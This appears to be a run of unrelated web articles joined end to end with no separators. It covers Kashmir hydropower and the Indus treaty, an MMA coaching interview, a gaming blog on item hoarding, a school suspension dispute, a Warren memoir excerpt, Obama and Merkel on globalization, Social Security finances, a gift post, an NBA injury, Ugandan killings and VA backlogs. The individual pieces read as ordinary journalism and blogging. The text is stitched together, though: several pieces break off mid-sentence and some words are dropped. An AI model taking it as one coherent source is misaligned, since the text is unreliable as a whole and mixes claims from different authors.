That treaty allowed India and Pakistan to share the Indus River and its five tributaries - the Jhelum, Chenab, Ravi, Beas and Sutlej - and provided mechanisms for settling disputes.
Under the treaty, Pakistan received exclusive use of the waters from the Indus and its west-flowing tributaries, the Jhelum and Chenab, while the Ravi, Beas and Sutlej rivers were allocated for India's use.
The treaty also stated that upper riparian India could build run-of-the-river projects only on the Indus, Chenab and Jhelum, which flow through Kashmir. The NHPC has constructed seven power projects in the region and plans more in the future.
The NHPC, which generates over 2,000 MW of hydropower in Kashmir, gives just 12 percent of the electricity it produces there to the state government, evoking strong local criticism.
As of now, the state itself generates only 761 MW, given its lack of resources to exploit the region's hydro-electric potential, against peak demand of 2,600 MW.
In 2002, Kashmir's legislative assembly passed a resolution seeking the termination of the Indus treaty on the basis that Kashmiris were not consulted when India and Pakistan signed it. Ever since, the treaty and the NHPC's operations in Kashmir have been a topic of hot debate.
Sensing the mood, a committee formed by then Indian Prime Minister Manmohan Singh suggested in a 2007 report that the NHPC should transfer at least two power projects to Kashmir, but that has yet to happen.
In 2009, National Conference leader Nazir Gurezi, speaking in Kashmir's legislative assembly, called the treaty "a sign of slavery" for Kashmiris.
And two years later, Taj Mohi-ud-Din, Kashmiri leader for the Indian National Congress and then irrigation minister, drew an analogy between the NHPC in Kashmir and Britain's erstwhile East India Company, a comparison that has come to symbolise Kashmiri resentment over the use of its water resources.
LOCAL DEVELOPMENT
Zahoor Ahmad Chat, former executive director of projects at the State Power Development Corporation, told the Thomson Reuters Foundation that if the Kashmir government could muster the resources to harness the region's energy potential of around 15,000 MW, it would provide economic stability and spur development.
Chat said exploiting projected surplus power could earn the region annual revenue of some INR 150 billion, and make the most of Kashmir's renewable energy sources for its people.
"We have the luxury of having clean over-ground energy resources like water - one of the most preferred energy resources in the age of climate change," he said.
"Even if a small percentage of the expected (Roshni scheme) revenue was realised, we would be able to create small power projects in all of our rural areas." ($1 = 67.0650 Indian rupees)
(Reporting by Athar Parvaiz; editing by Megan Rowling; Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, women's rights, trafficking, corruption and climate change. Visit http://news.trust.org)
Our Standards: The Thomson Reuters Trust Principles.Here's a basic question: how is striking in MMA changing and where is it headed? The answers aren't entirely obvious, but watching UFC lightweight Anthony Pettis bounce off of the cage makes one wonder if this is a gimmick or the beginning of a full-fledged change in the way people strike in MMA. Noticing how effective it is, I'm trending toward the latter.
Duke Roufus, the trainer to Pettis and many other elite MMA fighters, believes Pettis' cage use is one component of MMA's striking evolution. Sure, the cage is becoming a weapon of sorts, but the level of striking in MMA is improving, particularly on the defensive end.
Where it's headed, though, is a matter of projection. To help me understand its present and potential future, I spoke with Roufus about how his star pupils are pushing the envelope of what's possible, what they want to achieve and what we can reasonably expect to change in the coming years. Roufus also discusses Pettis' impending featherweight title bout against champion Jose Aldo and forecasts how their contrasting striking styles will match up when their August bout takes place.
Partial transcription and full audio below:
Let me start with that victory (against Donald Cerrone). Generally speaking, did that go as planned?
Oh yeah, definitely. All the techniques are premeditated. Everything we planned to do in training except for one. Anthony of course had to put his "Showtime" spin on it and he did his off-the-cage knee, which is beautiful.
Were liver kicks part of it specifically? To what extent was the way it ended a natural consequence of the way Anthony strikes versus "we see a real vulnerability there with him keeping his hands in a particular way?
Anthony has really worked on his Muay Thai and Thai-style kicking. Wherever he connects, it's gonna do damage whether it's the head of Joe Lauzon or it's gonna be a leg kick, a body kick. He's getting very proficient. He and I both grew up in taekwondo so my transformation from taekwondo to karate to kickboxing to Muay Thai has really helped him bridge the gap from taekwondo to Muay Thai and how to really use the dexterity of his technique. Now he's a really powerful kicker as well as a flashy kicker too.
For folks that don't have that experience, when we see in MMA a guy with the taekwondo background, he throws the side kick or spinning kick where a Muay Thai kicker is some guy who faces you at 12 o'clock and drills you with his shin to the leg, body or head. Is that a fair assessment?
Yeah, that's kinda accurate, but at the same time, Anthony is so used to using his feet since he was five years old that it's effortless for him to pick up his legs and power kick people. His muscles are trained to move quicker and faster than someone who's only been doing it 5, 6, 7 or even 10 years. He's been doing it for 20 years of his life already and that's a huge advantage in the kicking game. He can pick up his legs so quick, that's why his kicks are so hard to defend.
The time from forward to target is very small and that's why he's so successful with his kicks. I've been able to help him bridge the gap between Thai boxing and Muay Thai and taekwondo and that's been the fun part of it. Taking some of the cool moves like the cartwheel kick he did is taking from traditional Muay Thai. There's a famous Muay Thai fighter in Thailand that uses that kick often so those are the types of things going on. These types of things are just a blast to do.
To what extent is the athleticism a part of it. You mentioned when he kicks somebody, it's the speed. Could someone who's not as quick as Anthony do what he does, or is this something that he really brings to life because he has the particular athletic skillset?
Oh definitely he's a way superior athlete as well so that's why it works well for him. That's the best thing he's got going for him now is his athleticism too.
Let's talk about some of the stranger kicks he does. You mentioned the cartwheel kick he did against Cerrone as well as plenty of other kicks. I'm gonna ask you plain out and gimme the best answer you can. Why aren't some of the techniques that Anthony does more ubiquitous?
Well we saw Jose Aldo do the superman punch that Alan Belcher and Anthony have done in fights too. I think you're gonna see, I saw online that Overeem was playing around with the Showtime knee and dos Santos was playing around with the Showtime kick. I saw online that Paul Sass was playing around with a triangle off the cage. I think you're gonna see more people doing it. Let's face it, people are going to see what Anthony's doing and say, "Wow, Anthony's getting some shine, I want a piece of that."
What happens too after a while is everybody is getting better at striking so you can't just throw a round kick, you have to cross it. Everyone's understanding the basics of striking so once in a while you need a trick play to mess everyone up a little bit.
How would you describe Anthony's footwork, what about it is unique? Footwork for a really good striker is almost like a fingerprint. Dominick Cruz has his own type of footwork and Jose Aldo has his own type of footwork. How would you characterize the footwork of Anthony Pettis?
He's almost like a panther who pounces on his prey. One, he's a great athlete. My father was my first coach and I'm meticulous on footwork. Footwork is everything in mixed martial arts whether you want to avoid takedowns or create takedown opportunities, if you want to create shots or not get hit, you've got to be able to move your feet.
Mobility is the key to fighting in my humble opinion and Anthony is very meticulous on that. He understands and it comes from years of doing martial arts tournaments. He understands how to hit and not get hit. That's what style I brought to me from my kickboxing and Muay Thai career, the ability to hit and not get hit. I didn't sustain a lot of damage when I fought when I used that particular style. I was aggressive, but at the same time, when it came time for me to not be hit, I was gone, and that's what Anthony is awesome at. He comes in aggressively, steps at different angles and he's very good at putting himself in a position where he can hit you but you can't hit him.
But how would you say that with Jose Aldo? He's a great striker, but he doesn't seem to move nearly as much. Why is that?
Yeah, he likes to stalk and attack. I would say if I had to characterize his style, and I did a lot of research on Jose Aldo from when Erik Koch was gonna fight him. I know he's trained with K-1 MAX fighter Andy Souwer so he's got definitely what we call the Dutch kickboxing influence to his style. They're more tendency towards trades because I trained with Dutch dudes. He's more of a stalking style that you see in K-1 fighting or Dutch kickboxing.
And that means what, a little more on the balls of your feet, a little more moving forward and a little more emphasis on power?
Yes, definitely. That style likes to throw hard punch combos followed by hard low kicks followed by hard punches again. You'll see his jumping knee and things like that. He's a hell of a fighter too. I love watching Aldo fight. That being said, I love watching Cerrone fight, but I love watching my guys beat those guys.
If you had to mold and create such that one exists, the perfect striker in MMA. Would he be primarily a kicker or primarily a puncher?
I think that kicking's cool, but if you don‘t have any weapons to set it up, it's a very, very manic style. It's like only living and dying as a basketball player that can only dunk the basketball or do lay-ups or only shoot three-pointers. It's like any other sport, you've got to be well-rounded with your attacks. The more attacks you can display, like play action in football. Am I doing a draw, am I pulling back, is it a sweep? The more options you have, it creates more openings.
Everyone talks about the liver kick, but if you look at Anthony, he started out right handed punching the right hand side and did a little switch-step on a punch and he ended up catching Donald when he switched to the left and he didn't even realize it. He did some punches and followed it up with a side kick followed up with a step-knee on the cage, almost threw the elbow, had a few punches and a body punch and then a kick. Even in that short fight he had some small, a little diversity of all his strikes if that makes sense.
Striking is certainly evolving, jiu-jitsu is evolving in MMA, wrestling is evolving, but if we can just focus on striking, we're starting to see not just guys getting better, like Daniel Cormier throwing combinations, but certainly the best practices are being disseminated, but in terms of evolution and adaptation, in your mind, where is it headed?
It's not even near its ceiling yet. Everyone in the sport is getting better at everything and it' scrazy. Non-wrestlers are getting good at wrestling like GSP, jiu-jitsu has always been great and now I think striking, a lot of people realize striking makes you money. The fans, the general fan gets excited about striking.
But I mean in terms of changes. You guys are doing the off the wall stuff, but it's not that you're just doing that although that's certainly a key component. You saw guard play being the initial jiu-jitsu component in MMA and now it's more about back control or mounting or guard passing to the side. Demian Maia is a perfect example of that. In striking, what are some key things that guys are more leaning on now than they used to?
A lot of things, the evolution, everyone is getting better at defense more than anything. They need to get better and if your defense is good, you can be as aggressive as you want. I think a lot of people too have to understand that MMA striking is different than K-1 striking or Muay Thai kickboxing. It's a completely different fight when you put MMA gloves on when you have to deal with the takedowns and all these other moves that are a completely different fight. A lot of people don't necessarily train MMA.
A lot of people don't realize I'm a kickboxing coach, but we rarely train kickboxing alone. We train our kickboxing from an MMA position and that's why our guys are so good at it because they're at a threat to be taken down constantly so they don't just do kickboxing alone. That's like for our beginner students at our academy. We do kickboxing constantly in an MMA format and we do a lot of MMA sparring. Everything, if you're rolling, you're used to getting hit at the same time. If you're standing up striking, you're used to get wrestled at the same time. It's a very important thing to integrate and that's something I've really tried to focus on over the years in MMA.
If Pettis went to do any sort of standard kickboxing with Thai rules, how do you think he would fare?
He got invited to do a K-1 match in '09, but we were busy with the WEC and with my history with K-1, when I'd taken fighters, they were a bit iffy on paying the fighters so that's why we didn't put Anthony in the K-1.
Do any of your guys get relatively major invites like that?
Sergio Pettis, Anthony's brother, has fought a Muay Thai bout already. He fought Muay Thai at age 17. I am getting back into the striking realm and I'm helping out with Glory and I'm getting kids interested in doing it again. It's a great outlet and I see an opening for kickboxing. I don't think it's ever going to be as big as MMA, but with that, it's a great opening to share the market. I think it'll have a place and a lot of MMA fans will watch kickboxing.
So if someone asked me what is the talent disparity between the world's best boxer in terms of striking, at least boxing striking and the world's best MMA fighter in terms of their boxing striking, I would tell you it's pretty significant. There's nobody in MMA that can do what Floyd Mayweather does, not even close I would say.
No, but here's another thing. I actually had Anthony, one of his friends was just signed by Mayweather and he fought Saturday night in Vegas and we do do a lot of cross-training with higher level guys. That's how I got them good with it. I let Anthony train with pro boxers and a lot of the stuff you see them do, the cross training, we're doing that, too.
Even if you have Anthony training with high level guys and Freddie Roach has told me that Georges St. Pierre could train with high level guys when he spars his boxing. What is the difference in talent levels between MMA's best kickboxers and kickboxing's best kickboxers? How far apart are they?
Somewhat far just because they do it full time, but then there's guys like Anthony and other guys who can cross train over in another sport and do good. Especially if they did it as their full time job. When I say Anthony could be good at it, I mean if Anthony chose to do that 110 percent, he'd be just as good a level in the sport as he wanted to be, but he doesn't. Obviously mixed martial arts is his passion and he's got a great contract with the UFC.
The big thing, our country as a whole is weak in kickboxing because no one trains it here as much as they do in other countries. In Thailand, it's twice a day six times a week. Holland, it's at least 5-6 days a week of training hardcore. It's like anything else. That's almost comparative to, why are we so much better in the Midwest at wrestling compared to everyone else in the country? Here, wrestling is almost a religion. My wife's hometown is like the movie Vision Quest. Grappling is huge where my wife grew up. We |
. In this case, I'll be writing about a trait of mine that is technically a good strategy; a skill that should make games easier and lead to success. This seems to go against what this month's theme is about, but let me explain. This gaming trait is one that, combined with my personality and my earlier gaming experience, ends up making some games feel more frustrating, difficult or simply less fun. So, even if I don't necessarily "suck" at the game, I end up failing in what is the more important goal of playing a game: having fun.
So, what was that preamble referring to? As my title states, I'm an item hoarder (I was going to put in a pun in the title about being item "whore-der", but it didn't seem to be too funny). Most modern games have a large variety of items to collect, store and use. Ammunition, energy, medkits, potions, shields, power-ups, superweapons...the possibilities are endless. These items are supposed to be used whenever the player is in a difficult situation when the added power or protection will help him or her win the day.
The problem is that I have the dual tendencies of wanting to collect as many items as I can, but being reluctant to use them. First, I often go out my way to purchase or find one-time use items, to ensure that I have a plentiful supply for a long dungeon/boss fight. However, when I actually get to the difficult area, I end up thinking "I can't use that powerup now for this fight, there might be an even harder one later where I'll really need it." One can see how this train of thought can continue for the entire game, so often I end up never finding enough need to make use of them. Of course, usually I'm able to prevail with my self-imposed handicap, but this isn't at all what the developers intended when they put in items.... er..."well prepared."
As you can figure, the genre where my "problem" causes the most grief is in RPG's. Of course, there are the usual curative items, which I can sometimes tolerate using (although I prefer to make the longer trek to inn or other recuperative point instead). Then there are the "buffs": items that give a temporary boost (usually a single battle) to a character's skills, like attack, defense, magic, etc. Iuse these items because their effects seem negligible enough to not berequired for any battle. I get more enjoyment out of hoarding them, with satisfaction coming from knowing I have a plentiful supply ready for an emergency, even though I'll never consider any situation to be dangerous enough to use them.A rarer, though even more frustrating, type of item in RPG's is the limited-use item: one that can be used more than once, but has a known or hidden limit that will eventually lead to the item breaking either permanently, or requiring repair. For me, the worst offender would be theseries. Most (if not all) the weapons in the game have a finite number of uses before breaking, making every single combat action seem like a torturous waste of a precious resource. Since common weapons usually last longer than rare ones, it leads me to mostly use the former, for the sake of saving those special weapons for, you guessed it, "an emergency". Of course, I do know that most weapons can be repaired in the game, but what if my special weapon broke in the middle of a boss battle? Better to keep it at full strength, safely tucked away in storage, to await that desperate struggle that will never happen.So, as you can see, my item hoarding doesn't make me suck at RPG's. It's more like I add a layer of frustration to the games, both from my over-worrying about collecting and saving items and the increased difficulty that comes from refraining from using them when I really should be.Now, how did my, er, mental problem come about? Time for a bit of self-psychoanalysis.Right now, I've been cleaning out my room at my parents' house in preparation for moving into university residence thousands of miles away. Having lived at home for over twenty years, naturally I've accumulated a lot of possessions. But in going through the various drawers, shelves and boxes in my room, I noticed that I've also collected a lot of pointless items (actually, let's just say junk) that I only kept because Ineed them, want to look at them again, or just simply never could bring myself to throw them away. For example, I had kept Grade 9 math notes when I'm about to start a Masters' degree in History! I had trinket souvenirs, childrens' toys. airline ticket stubs, clothes that hadn't fit me in years, and all kinds of obsolete technology like blank VHS tapes and floppy disks. I finally was able to bite the bullet and get rid of a lot of this junk. My personal hoarding wasn't extreme, since my room wasn't crammed floor to ceiling with stuff, but it does show that my real-life tendency toward keeping items without using/getting rid of them drifted into video games.However, like most addictions, there is some sort of enabler. A "gateway drug", as some anti-drug advocates use to refer to marijuana. So, I looked back on my early childhood experience at gaming, which was in the late NES and early SNES era. For most early games, such as the originalthe only items that were usually stored were extra lives, and it was totally rational to collect as many as possible but not want to have to use them. So the training already began that hoarding was a positive goal. Later, in, one could actually keep an inventory of powerups like mushrooms, fire flowers and stars to be used whenever the player felt like it. Like I mentioned before, for common items I could usually bring myself to use them once in a while. However, there were other powerups that were considerably rarer.Yes, I'm talking about the Tanooki Suit and the Hammer Bros. Suit. These items come into your possession only a handful of times in the game, if you're lucky. They're also incredibly cool looking and powerful. So, the problem arose of when would be the best time to make use of them. If you get hit just once while using them, fall in a pit or accidentally grab a different powerup, they're gone. Forever. You'll never get another chance to taste the deliciousness that is Mario throwing hammers at enemies or becoming a statue that has the power to kill formerly unbeatable enemies like Thwomps. At least, that's how it felt like to the younger me as I was playing the game. So, it led me to hold them tight against Mario's digital chest, waiting for that nonexistent crisis. Even on the final level against Bowser, I would refuse to use them, because my hoarding logic argued that "Oh, I'll try to beat Bowser normally for this life. Maybe if I die enough times, I'llneed to pull out one of my trump cards." So, it was these powerups that started me off on my terrible path of hoarding items in games. Goddamn Hammer Bros. Suit.Looking at the past and the present, in real life and in games, I have been an item hoarder. In most cases, it hasn't caused me tremendous difficulty, but has caused me to play games in, let us say, a more "sucky" way. I know that the items were put there by developers to be used to make the game experience easier or more enjoyable. I am also completely aware that by hoarding items I am ignoring this fact. Still, despite all that, I still feel that I get a... perverse... enjoyment out of collecting items and not using them. I don't totally understandI enjoy hoarding, but in the end, as long as I'm having fun, even if it wasn't intended by games, I don't actually suck at them. I might be a hoarder, but at least I'm... er... well prepared.
You are logged out. Login | Sign upA Racine school is disputing a story that they suspended a student for selling sex toys, instead stating the students sexualized the water snake wigglies.
The family spoke to TODAY'S TMJ4 on Tuesday, claiming the student was suspended because the principal mistook the water snakes for sex toys.
In a statement, the school said the student was selling the water snakes out of her locker and students, “sexualized the use of these toys which was disruption to learning that could not be ignored.”
However, the suspended student's family said the school principal pulled the student from a basketball game to tell her she had been suspended for three days for selling sex toys.
The father plans to wait outside Trinity church services Wednesday night 6 p.m. to pass out slips including a link to his blog website titled 'Vindicate Frances." He vowed to continue fighting the school to have her suspension rescinded and "clear her name."
Trinity Lutheran School released the following statement:
The story regarding a student at Trinity has been circulated broadly in commercial and social media. While it is not our practice to share information about an incident that involves our students, all of whom are minors, the dissemination of the account warrants a more detailed reply. Several primary assertions against the school are inaccurate. It was asserted that a student was suspended for specifically selling something alleged to be a sex toy. The alleged characterization of the toy was not the motivation of a disciplinary action taken by the school. We have never asserted that a ‘water snake’ toy is a sex toy. The student was selling toys out of her locker to numerous fellow students. When the presence of these toys became known to the faculty a letter was sent (in January) to all of the parents of this specific classroom clearly stating that the students were told that no permission was given for toys to be in school under any circumstances. Sale of the toys continued. Eventually, the toys were in the hands of a significant number of students. According to one of the teachers, many of the students sexualized the use of these toys which was disruption to learning that could not be ignored. Several parents had also complained to the administration about sexual overtones associated with these toys, based on what students were reporting at home, and they expected action to be taken. Selling toys, after clear communication prohibiting the presence of toys in school, and the disruption it generated in the school lead to the suspension. It was asserted that the student was suspended for three days. That is simply false. The student served a one day only suspension. Since then, the parents of the child have decided to continue to allow their daughter to be successfully enrolled at Trinity. The parents demanded that the situation be further adjudicated. We honored that request and the parents were invited to present their position to the Board of Education. The Board reviewed the assertions of the parents, other sources of evidence that were causes of great concern, and communication from faculty, staff, and other school parents. The Board determined that the persistent sale of toys, in violation of clearly stated instructions, and in light of the educational disruption, warranted the disciplinary action. The Board considers that matter addressed and resolved. We continue to maintain the perspective that the privacy of our students is of paramount importance. While we cannot control the actions of others, we will continue to provide that approach on behalf of everyone associated with our community.
Be sure and watch TODAY'S TMJ4 on Roku! We are the only station in Milwaukee to provide the latest news, weather and sports on the device. Search for us on Roku today!The following is an excerpt from Elizabeth Warren’s memoir, A Fighting Chance. The Massachusetts senator talks to Bill this week about taking on the entrenched political and Wall Street interests that have rigged the game against the rest of us.
Senator Elizabeth Warren (D-MA) questions a witness at a Senate Banking Committee hearing on money laundering on Capitol Hill in Washington on March 7, 2013. (AP Photo/Cliff Owen)
In early April, I got a call from the office of Larry Summers. I didn’t know Larry well, but I’d met him a few times while he was president of Harvard in the early 2000s. According to reports, Larry had been Tim Geithner’s mentor when they were both in the Treasury Department in the 1990s. Now Larry was the director of the National Economic Council, which meant that, along with Secretary Geithner, he advised President Obama on economic issues. Would I be interested in meeting him for dinner?
Sure, I replied. Larry’s office suggested the Bombay Club, an Indian restaurant near the White House. Quiet and softly lit, it served Washington’s power elite.
When Larry arrived for our dinner, he ordered a Diet Coke as soon as he sat down. He glanced at the menu, ordered quickly and soon the food started coming.
It was a long dinner, with plenty of intense back-and-forth about everything from the bailout, to deregulation, to the foreclosure crisis. I also talked to Larry about an idea I’d been working on for a new consumer financial agency and he seemed interested. We didn’t agree on everything, but I give Larry full credit: I’ll take honest conversation and debate any day of the week over the duck-and-cover stuff I so often saw in Washington that spring.
Late in the evening, Larry leaned back in his chair and offered me some advice. By now, I’d lost count of Larry’s Diet Cokes, and our table was strewn with bits of food and spilled sauces. Larry’s tone was in the friendly-advice category. He teed it up this way: I had a choice. I could be an insider or I could be an outsider. Outsiders can say whatever they want. But people on the inside don’t listen to them. Insiders, however, get lots of access and a chance to push their ideas. People — powerful people — listen to what they have to say. But insiders also understand one unbreakable rule: They don’t criticize other insiders.
I had been warned.
Excerpted from A Fighting Chance by Elizabeth Warren with permission from Macmillan Publishers. Copyright 2014. All rights reserved. No part of this excerpt may be reproduced or reprinted without permission in writing from the publisher.President Barack Obama and German Chancellor Angela Merkel held a joint press conference and penned an article Thursday, and both stressed that globalization is here to stay.
“Today we find ourselves at a crossroads — the future is upon us, and we will never return to a pre-globalization economy. As Germans and Americans we must seize the opportunity to shape globalization based on our values and our ideas,” Obama and Merkel wrote in the article published in the German newspaper Handelsblatt.
Merkel during her remarks at the press conference said something similar when speaking about “progress” with trade between the United States and Germany. “I think we share this conviction is that globalization needs to be shaped politically. It needs to be given a human face, but we cannot fall back into pre-globalization times.”
There has been a surge of populism in the West in 2016 fighting against globalization. Obama will be replaced by President-elect Donald Trump, who has campaigned against globalization, and Merkel is facing political challenges at home.
“The world is shrinking,” Obama said when asked by a reporter about the rise of populism. “Economies have become much more integrated, and demographics are shifting. Because of the internet and communications, the clash of cultures is much more direct. People feel, I think, feel less certain about their identity, less certain about economic security. They’re looking for some means of control.”
He added: “What that means is that the politics in all of our countries is going to require us to manage technology and global integration and all these demographic shifts in a way that makes people feel more in control, in a way that gives them more confidence in their future, but does not resort to simplistic answers or division in race or tribe or crude nationalism.”
The president said that he believes that for the foreseeable future, “our politics every where will be going through this bumpy phase.”
He said “overall” he remains optimistic because of the views of young people.
“Across the board young people are much more comfortable with respecting differences. They are much more comfortable with diversity,” Obama said. “They see themselves as part of a global economy that they can navigate successfully.”
Merkel said there has been a “wave of populism” and “there are a lot of people who are looking for simplistic solutions.”
She described these policies that are being preached by populists as “very unfriendly policies.”
The German chancellor described the current age as one of a period “grand transformation.” Merkel described it as a shift similar to the one from the agricultural period to the industrial.If you think you can count on Social Security to prop up your retirement than the joke may be on you. The news media’s been so busy covering President Trump 24/7 that a really big story slipped through the cracks this summer: Social Security will begin paying out more than it takes in by 2021 — just three years from now, and come 2034 or so — just 16 years away — payouts could be slashed by about 23%, unless tough steps are taken to bolster the rickety program.
Based on a projected U.S. population of about 370 million in 2034, that would mean drastically smaller checks for some 87 million Americans, the trustees estimate. How small? Try $5,969 a year in today’s dollars, according to the Peter G. Peterson Foundation, a think tank that focuses on fiscal matters.
That’s nothing less than devastating for the estimated 60% of retired Americans who rely on Social Security for at least half their monthly income.
What’s going on? You can read the whole government report here (if you like long, dense, boring bureaucratic language), but you probably know what the problems are; they’ve been obvious for years.
The retiree population is soaring. Baby boomers (American born between 1946 and 1964) are retiring in droves — an estimated 10,000 a day. This is expected to continue through 2029 or so.
We’re living longer. Overall life expectancy in the U.S. was 78.8 years (76.3 for men and 81.2 for women). That means more people are receiving benefits for longer periods. Sidebar: these life expectancy figures actually fell slightly in 2015, the first drop in decades, but researchers think it may be just a one-time blip.
There aren’t enough young people paying into the system to support Social Security. Right now, every person receiving Social Security is supported by nearly three workers. This will decline to two workers by 2034 (Social Security is financed by payroll taxes). In 1970, it was about four workers.
This triple squeeze means one thing for future Social Security recipients: big-time financial pain. On top of other difficult realities — like the fact that only about one in eight Americans has a pension, and that close to half of all families “have no retirement account savings at all,” it suggests that for millions of Americans, the “golden years” will be anything but golden. The sad fact is many may not be able to retire at all.
Read: Why lawmakers keep trying to whack retirees
The bad news doesn’t stop there. The trustees also warn that the Social Security Disability Insurance Trust Fund will run out if funds even sooner: by 2028. This means that an estimated 11 million disabled Americans could face benefit cuts — about 7% — as well.
Congress can make, and a president can sign, legislative remedies of course. But because such remedies involve pain for taxpayers (i.e. voters), recipients or companies — or all three — they’ve traditionally been reluctant to do anything about it. That’s why Social Security (and entitlements in general) have always been called the “third-rail” of American politics: no one dares touch it. So the can keeps getting kicked down the road, and here we are. But the math is finally catching up with us.
Here are some of those painful steps that can be taken to shore up Social Security:
Raise the retirement age. It’s already inching up. Americans born between 1943-1954 could get full benefits at age 66, but anyone born after 1960 has to make it to 67. But since life expectancy is increasing, there are proposals to keep raising it. One common proposal: lift it by a month per year. In either words, Americans born in year X might have to be age 67 and a month to get full benefits, and Americans born the year after that would have to be age 67 and two months, and so forth. After a dozen years, you’d have to be 68 to get full Social Security benefits.
Raise payroll taxes. That thing that says “FICA” on your paycheck? That’s what you’re paying into Social Security. It’s already pretty steep: 6.2% of all income up to $127,200 (if you’re employed by someone else, your company pays another 6.2%). The trustees say raising the payroll tax another 2.83% would help keep the program solvent. Another 2.83%? Ouch.
Raise — or eliminate — the cap on taxable wages. You’ll probably love this one because it doesn’t hurt you—unless you make more than the above-mentioned $127,200 a year. Right now, Americans pay into Social Security up to that amount, but beyond that threshold they’re home free. Big shots like Warren Buffett point out that subjecting all income to Social Security would be a huge boost to the program. The Center for Budget and Policy Priorities, a nonpartisan group, says “changes to the tax cap could close roughly a quarter to nearly nine-tenths of Social Security’s solvency gap, depending on how they were structured.”
There are other fixes too, but these are the three big ones. Again, the real question here is whether politicians can really inflict pain on voters. It’s coming one way or the other. Usually it’s best to change before you’re forced to; that’s what we’re dealing with here.
What makes this all the more interesting is that the report warning of big cuts is signed, first and foremost by the “Managing Trustee of the Trust Funds” Steven Mnuchin, who has a day job as Secretary of the Treasury. Right now, Mnuchin’s focused on pushing President Trump’s tax proposal through Congress, which aims to slash taxes, not raise them. In other words, the guy sounding the alarm on Social Security, warning something has to be done, proposes for now, to do nothing.
To get early access to many more stories like this, subscribe to Retirement Weekly.The goods!
Orzeszki drazetki was completely gone by the time I upload these pictures. They looked like tiny little raisins, but are actually chocolate coated peanuts.
Ptasie mleczko is just waiting in the cupboard waiting until after the ill feeling I got from chomping down too fast on those chocolate peanuts goes away. It's time will come. Soon.
Handmade wooden veneer bookmark!
A disc containing a short comic made by SS entitled Rise of the Raisins. I'll see if SS will let me place it up in the interwebs for all to enjoy. EDIT: Comic is here! http://imgur.com/a/KyiJ8
Lastly, a coffee mug featuring guys from the comic. SS didn't have an oven. So he drew on it, packed it up nicely, and sent it with instructions for me to bake it in an oven so that the ink will cure on the ceramic. All done now!CLEVELAND, Ohio -- Kyle Korver will one day again be catching passes from Kyrie Irving and making 3s.
And it will be because of a different kind of assist from Irving. Korver's switching to the Kyrie 3 Nike shoe to solve the foot issue that dogged him for most of March.
Korver has missed the last three games and 10 games overall last month with inflammation of a tendon on the outside of his left foot. He told cleveland.com his on-court workout Friday before the Cavs beat the 76ers was positive and he was to work out again Saturday, but stopped short of setting a definitive date for his return.
Cleveland hosts the Indiana Pacers Sunday. A source said it was unlikely Korver would play.
Korver believes his foot problems persisted after he returned to the court March 22 because the shoe he's been wearing, the Nike Kobe A.D., wasn't designed to fit the cutting and twisting and turning Korver puts himself through while running off screens.
Korver said he'd take the court for the first time late in the first quarter, and by halftime his foot was aching from wearing a shoe that allowed him to put more pressure on the outside of his foot than he could stand.
The Cavs shut Korver down prior to playing the Spurs on Monday.
It just so happens the Kyrie 3, designed for the shifting, darting Irving, is built with extra support (called suspension pods) on the sides of the shoes to prevent ankles from rolling and, more specifically for Korver, from putting too much weight on the outside of his foot.
But only time, and game action, will tell if the Kyrie 3 can protect Korver's foot from further trouble.
"I didn't tell Kyle to switch to my shoe, but that's awesome that it works for him," Irving said.
Korver is the Cavs' fourth-leading scorer at 10.9 points per game and is shooting.482 from 3-point range. Richard Jefferson, another backup wing, has missed the past two games with left knee tendonitis.
"Hopefully they can play anytime," coach Tyronn Lue said.Ugandan police said another 25 bodies had been recovered after weekend fighting in a western kingdom whose tribal monarch is accused of stoking a separatist rebellion, bringing the death toll to 87.
Officials said at least 46 guards and 16 police died when the security forces stormed the palace of Charles Wesley Mumbere, king of the Rwenzururu kingdom, near Uganda's border with Congo.
Mumbere was arrested and has now been charged with murder.
Uganda, however, rejected charges by rights group Amnesty International - who called the killings a "massacre" - that its security forces carried out the extra-judicial killings during the clashes.
"Security forces were being attacked. They had to defend themselves, they had to protect themselves," Jeje Odongo, Uganda's internal minister, told a press conference in the capital, Kampala.
"Security agencies do not have a shoot-to-kill policy. What happened is a situation of self-defence."
Odongo added that weapons, including automatic guns and a cache of crude weapons such as spears and machetes, had been seized following the incident.
At least 149 people were also arrested.
Opposition leader Kizza Besigye also described the killings as a "massacre" and posted a photo on Twitter purporting to show bodies of victims outside Mumbere's palace.
Amnesty International said that many victims seem to have been summarily shot dead.
"The full picture of the weekend's events is yet to emerge, but there appears to be shocking examples of unlawful killings and a complete disregard for human rights during the arrests," Abdullahi Halakhe, Amnesty International's East Africa researcher, said in a statement published on Tuesday.
"In a shocking display of heavy-handedness, many people appear to have been summarily shot dead and their bodies dumped.
"Video footage broadcast by Ugandan TV stations showed bodies of young men apparently dumped on river banks and in bushes, and men writhing in pain as they are tossed off pick-up trucks with their hands tied behind their backs."
The security forces have continued to search for the rebels linked to the tribal king.
Influential tribal rulers
The killings underscore tensions between longtime President Yoweri Museveni and influential tribal rulers who are constitutionally recognised but have no real authority or armies of their own.
Before presidential polls in February, which were won by Museveni, Mumbere came out in support of the opposition, a move that appeared to violate the traditional leaders' code of conduct.
Museveni lost the popular vote in Kasese, and a month later clashes erupted between the security forces and militiamen who were believed to be loyal to Mumbere.
In March, amid clashes between Mumbere's supporters and security officials, Museveni vowed to defeat the separatists, who complain of marginalisation by the central government 340km away in the capital.So who really broke the VA? In sum, it's a failure with many silent fathers.
President Obama
Obama's experience with the VA is a testament to the danger of big promises—and high expectations.
He pledged to end the claims backlog while simultaneously making a string of moves that summoned a flood of new claims to the agency.
The administration made it easier for veterans to get compensation for both post-traumatic stress disorder and exposure to Agent Orange—a Vietnam War-era defoliant now tied to a long list of neurological disorders. Those moves extended help to long-suffering veterans, but they weren't matched by the VA reforms needed to adequately address the new claims. Agent Orange alone took up 37 percent of the Veterans Benefits Administration's claims-processing resources nationally from October 2010 to March 2012, according to a Government Accountability Office report.
And as claims soared during Obama's first years in office, so did wait times. In 2009, there were about 423,000 claims at the VA, with 150,000 claims pending for more than four months (the official wait time it takes a claim to be considered "backlogged"). By 2012, claims had exploded to more than 883,000—and 586,540 of those sat on the agency's backlog list.
The administration did request—and get from Congress—additional funding for the agency. The agency's budget totaled $100 billion in 2009. In 2014, it was up to $154 billion. But that money doesn't instantly transfer into an expanded capacity to meet veterans' needs: It takes approximately two years to fully train a claims worker; the blame for the staff crunch doesn't rest on Obama's shoulders alone.
